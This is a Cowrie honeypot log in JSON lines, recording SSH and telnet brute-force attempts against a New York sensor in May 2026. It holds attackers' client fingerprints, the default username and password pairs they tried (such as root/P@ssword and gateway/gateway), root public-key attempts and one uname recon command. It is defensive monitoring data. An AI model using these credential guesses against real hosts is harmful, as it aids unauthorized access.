{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:52:59.018918Z","src_ip":"45.162.8.14","session":"78362247c9c1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51618,"dst_ip":"10.17.0.5","dst_port":23,"session":"974a02a77b15","protocol":"telnet","message":"New connection: 152.42.224.71:51618 (10.17.0.5:23) [session: 974a02a77b15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:52:59.177658Z"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:52:59.353861Z","src_ip":"176.65.132.129","session":"5a8741984937","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:52:59.356105Z","src_ip":"176.65.132.129","session":"5a8741984937","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:52:59.443537Z","src_ip":"176.65.132.129","session":"5a8741984937","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:52:59.448883Z","src_ip":"176.65.132.129","session":"5a8741984937","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00200343132019,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:52:59.952472Z","src_ip":"152.42.224.71","session":"eb334a01ff6f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":40630,"dst_ip":"159.203.135.109","dst_port":22,"session":"e6b4e8deaea0","protocol":"ssh","message":"New connection: 176.65.132.129:40630 (159.203.135.109:22) [session: e6b4e8deaea0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:53:02.014539Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:53:02.052625Z","src_ip":"176.65.132.129","session":"e6b4e8deaea0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:53:02.108564Z","src_ip":"176.65.132.129","session":"e6b4e8deaea0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssword","message":"login attempt [root/P@ssword] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:53:02.419319Z","src_ip":"176.65.132.129","session":"e6b4e8deaea0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:53:03.504519Z","src_ip":"176.65.132.129","session":"e6b4e8deaea0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51632,"dst_ip":"10.17.0.5","dst_port":23,"session":"66080ec75888","protocol":"telnet","message":"New connection: 152.42.224.71:51632 (10.17.0.5:23) [session: 66080ec75888]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:53:03.638173Z"}
{"eventid":"cowrie.session.closed","duration":51.90439176559448,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:53:05.057734Z","src_ip":"152.42.224.71","session":"c71cfffac1f7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":40642,"dst_ip":"159.203.135.109","dst_port":22,"session":"af4c3c88b86b","protocol":"ssh","message":"New connection: 176.65.132.129:40642 (159.203.135.109:22) [session: af4c3c88b86b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:53:05.318511Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:53:05.323273Z","src_ip":"176.65.132.129","session":"af4c3c88b86b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:53:05.406204Z","src_ip":"176.65.132.129","session":"af4c3c88b86b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51648,"dst_ip":"10.17.0.5","dst_port":23,"session":"fbf5edfef924","protocol":"telnet","message":"New connection: 152.42.224.71:51648 (10.17.0.5:23) [session: fbf5edfef924]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:53:05.579943Z"}
{"eventid":"cowrie.login.failed","username":"user4","password":"user4","message":"login attempt [user4/user4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:53:05.652730Z","src_ip":"176.65.132.129","session":"af4c3c88b86b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":96.36051392555237,"message":"Connection lost after 96 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:53:06.023937Z","src_ip":"152.42.224.71","session":"70779739dc38","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00100421905518,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:53:06.690172Z","src_ip":"152.42.224.71","session":"47325db02b56","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:53:06.737540Z","src_ip":"176.65.132.129","session":"af4c3c88b86b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48822,"dst_ip":"10.17.0.5","dst_port":23,"session":"c6d75fd32cb9","protocol":"telnet","message":"New connection: 152.42.224.71:48822 (10.17.0.5:23) [session: c6d75fd32cb9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:53:08.364848Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.68.225.189","src_port":47380,"dst_ip":"10.17.0.5","dst_port":22,"session":"c022d5aa8261","protocol":"ssh","message":"New connection: 194.68.225.189:47380 (10.17.0.5:22) [session: c022d5aa8261]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:53:08.397766Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:53:08.414397Z","src_ip":"194.68.225.189","session":"c022d5aa8261","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:53:08.528138Z","src_ip":"194.68.225.189","session":"c022d5aa8261","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":55424,"dst_ip":"159.203.135.109","dst_port":22,"session":"d3de7f143b75","protocol":"ssh","message":"New connection: 176.65.132.129:55424 (159.203.135.109:22) [session: d3de7f143b75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:53:08.534902Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:53:08.539633Z","src_ip":"176.65.132.129","session":"d3de7f143b75","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:53:08.622204Z","src_ip":"176.65.132.129","session":"d3de7f143b75","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gateway","password":"gateway","message":"login attempt [gateway/gateway] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:53:08.869426Z","src_ip":"176.65.132.129","session":"d3de7f143b75","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"81:ba:17:a2:d3:97:3c:fd:a9:f2:14:4a:c1:90:5d:8f","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIAxNCL6hINbGlrDHKcWVLjjF2r3rRZHIytEP6PSsvGhZ","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 81:ba:17:a2:d3:97:3c:fd:a9:f2:14:4a:c1:90:5d:8f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:53:09.174254Z","src_ip":"194.68.225.189","session":"c022d5aa8261","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"81:ba:17:a2:d3:97:3c:fd:a9:f2:14:4a:c1:90:5d:8f","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIAxNCL6hINbGlrDHKcWVLjjF2r3rRZHIytEP6PSsvGhZ","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:53:09.182035Z","src_ip":"194.68.225.189","session":"c022d5aa8261","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"76:24:95:53:2b:6c:e3:6d:8c:88:99:d9:46:ef:c1:f1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC7nxh92bIEiq63zPJy4p3pohTBI0bPu1ykVXQOJmpzNFdk/94vubPYSp257GpohY1rDJ/pvqXbb3pyt2hEAytWbpmbCSI1NnZjaPrt8C8R9L5zPPkyo0/y+ksC0nMCjMM5nu8u6ifqnkLZSNTw3bKeEQQywptb/8yaOk/0SZLKT4UQdEUw93o9qlM48xjAYrMpTYnllrpc0rE7n7sDoV66qYMRBCnk6eJ5wd9R83aNf3yCfmO5PSlJNN0ivr7oZ/D9rebhYWgyj9rFUEKCIb3lxm6QSgx87fXNCkG1Pe7MGlR2yWf0cniMvld3/tr9LqL7Vvq43/vAfql5rdp77ZcP","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 76:24:95:53:2b:6c:e3:6d:8c:88:99:d9:46:ef:c1:f1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:53:09.297421Z","src_ip":"194.68.225.189","session":"c022d5aa8261","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"76:24:95:53:2b:6c:e3:6d:8c:88:99:d9:46:ef:c1:f1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC7nxh92bIEiq63zPJy4p3pohTBI0bPu1ykVXQOJmpzNFdk/94vubPYSp257GpohY1rDJ/pvqXbb3pyt2hEAytWbpmbCSI1NnZjaPrt8C8R9L5zPPkyo0/y+ksC0nMCjMM5nu8u6ifqnkLZSNTw3bKeEQQywptb/8yaOk/0SZLKT4UQdEUw93o9qlM48xjAYrMpTYnllrpc0rE7n7sDoV66qYMRBCnk6eJ5wd9R83aNf3yCfmO5PSlJNN0ivr7oZ/D9rebhYWgyj9rFUEKCIb3lxm6QSgx87fXNCkG1Pe7MGlR2yWf0cniMvld3/tr9LqL7Vvq43/vAfql5rdp77ZcP","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:53:09.301329Z","src_ip":"194.68.225.189","session":"c022d5aa8261","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"8f:79:80:a4:b2:fe:a7:4e:2c:de:63:35:41:c0:6d:bd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC33fpkyh7R07/rTDUfnd30gutX5/98ldodaCWUiO0mjtcSHrv713yOoGFoEdlWfyEUB/tGsY816yfJ0SfsSt3vzjX1Pnpmc7yyl+ujX2HOr2cMJImdzH4Q/+lQE71kCiC71hQgbkjhMfIA1wXSi8zCTyYrcL6bo7r5t3+m7KIs1O8uaTpYvDwLNqstGpwsFeilP+L8WEHaT/rWvnONji7mpLXwW1NTjNw/eIlHQhoHSFLE54ISDWeH4yPFbU3F/iYCIg4MFGM45SbUb+5o89h2pbdAyHPYkHokd9E0goV9CyxSpUBtGxwWtM1N6taUALlgoqNDgUboroiq+5UzNWhD","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 8f:79:80:a4:b2:fe:a7:4e:2c:de:63:35:41:c0:6d:bd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:53:09.416387Z","src_ip":"194.68.225.189","session":"c022d5aa8261","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"8f:79:80:a4:b2:fe:a7:4e:2c:de:63:35:41:c0:6d:bd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC33fpkyh7R07/rTDUfnd30gutX5/98ldodaCWUiO0mjtcSHrv713yOoGFoEdlWfyEUB/tGsY816yfJ0SfsSt3vzjX1Pnpmc7yyl+ujX2HOr2cMJImdzH4Q/+lQE71kCiC71hQgbkjhMfIA1wXSi8zCTyYrcL6bo7r5t3+m7KIs1O8uaTpYvDwLNqstGpwsFeilP+L8WEHaT/rWvnONji7mpLXwW1NTjNw/eIlHQhoHSFLE54ISDWeH4yPFbU3F/iYCIg4MFGM45SbUb+5o89h2pbdAyHPYkHokd9E0goV9CyxSpUBtGxwWtM1N6taUALlgoqNDgUboroiq+5UzNWhD","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:53:09.420112Z","src_ip":"194.68.225.189","session":"c022d5aa8261","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"34:b0:58:2a:5d:d5:4f:b7:2c:eb:fb:d0:d0:51:91:35","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCeZcyHSnIIbXy7XTiC4xLZ2fO+TKgwD1PTkkBM9yoKDEfxMZ0du3iBNF9r0Jd4H2Y1EHfBuBxIbLo/21mBDXEhs99jEIymyEbLvM1tuRIi/O5Ayo6q23aiWdsAQ0v33wipbfRlg/XjVxirgA2zCF8ryhCwBdxVPH1vegMPdrOJTPRKGz23eoTJ1+iOotE5QMMgFIkLRgkCrOuxmvp5cZ5K5Ce+5/13y3GeGS6j0W5grRbGJB8IdACpHx0CDi+5ec+fb9fX/GeqbE+k/0QfLgTYNQWKKbv1bv/aFdSn9kqSrI5txK8nW4wNN/EuG1LM5zJAGra37k4cy6o2u7rbm5uWxZYnrkoF2mbhEsb+FExg+cryRbaZQJQj2OxLW77N4osv9YuheLObegy1MRFvmrrn6YX6vX50Kn+ZRXupDfTJ469W2PMoO3iOb80sC3JggVtYfesh8eMGLDvLiUgzVprFEVINH4jB9+VoVZzGT4nH+Kudtuhmcvo3+yGKX9hkYek=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 34:b0:58:2a:5d:d5:4f:b7:2c:eb:fb:d0:d0:51:91:35","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:53:09.540370Z","src_ip":"194.68.225.189","session":"c022d5aa8261","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"34:b0:58:2a:5d:d5:4f:b7:2c:eb:fb:d0:d0:51:91:35","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCeZcyHSnIIbXy7XTiC4xLZ2fO+TKgwD1PTkkBM9yoKDEfxMZ0du3iBNF9r0Jd4H2Y1EHfBuBxIbLo/21mBDXEhs99jEIymyEbLvM1tuRIi/O5Ayo6q23aiWdsAQ0v33wipbfRlg/XjVxirgA2zCF8ryhCwBdxVPH1vegMPdrOJTPRKGz23eoTJ1+iOotE5QMMgFIkLRgkCrOuxmvp5cZ5K5Ce+5/13y3GeGS6j0W5grRbGJB8IdACpHx0CDi+5ec+fb9fX/GeqbE+k/0QfLgTYNQWKKbv1bv/aFdSn9kqSrI5txK8nW4wNN/EuG1LM5zJAGra37k4cy6o2u7rbm5uWxZYnrkoF2mbhEsb+FExg+cryRbaZQJQj2OxLW77N4osv9YuheLObegy1MRFvmrrn6YX6vX50Kn+ZRXupDfTJ469W2PMoO3iOb80sC3JggVtYfesh8eMGLDvLiUgzVprFEVINH4jB9+VoVZzGT4nH+Kudtuhmcvo3+yGKX9hkYek=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:53:09.544124Z","src_ip":"194.68.225.189","session":"c022d5aa8261","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"22:83:ba:03:fd:5b:a0:63:47:bb:92:5a:23:50:0e:fe","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAsE8yh05d25Z6anKBgNrUsXWunim5cJtlj3L6FaK3+fh3wdbSnWjn97j+ZhhoJdEQ7nGuvwH1/7DK0xpWgcWRSZbgw7WwqPat50WTIVFpmKZwI9sB49MQuD3YTSuUmVbc4x2aNYNcJY06tIZ2hGpv6WP6+9pX0Hsm8cs0li5/VZgYQY8s6MbGcd4TvYWbKUomMfJRlHrCnHmCxuu8oTPfZU4EpPqCACYkbTu4ugzG4aEZ1P+fb3NbBzEMqTCH6uTHZR5cEUoxOU6q72oOGApPaD0sv7FJQH8SM7smJUK1mMvf++hy1lPN3tXgvSLb8Gy/Rf6xxrWOvvoQNE2PU/JY/w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 22:83:ba:03:fd:5b:a0:63:47:bb:92:5a:23:50:0e:fe","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:53:09.664819Z","src_ip":"194.68.225.189","session":"c022d5aa8261","protocol":"ssh"}
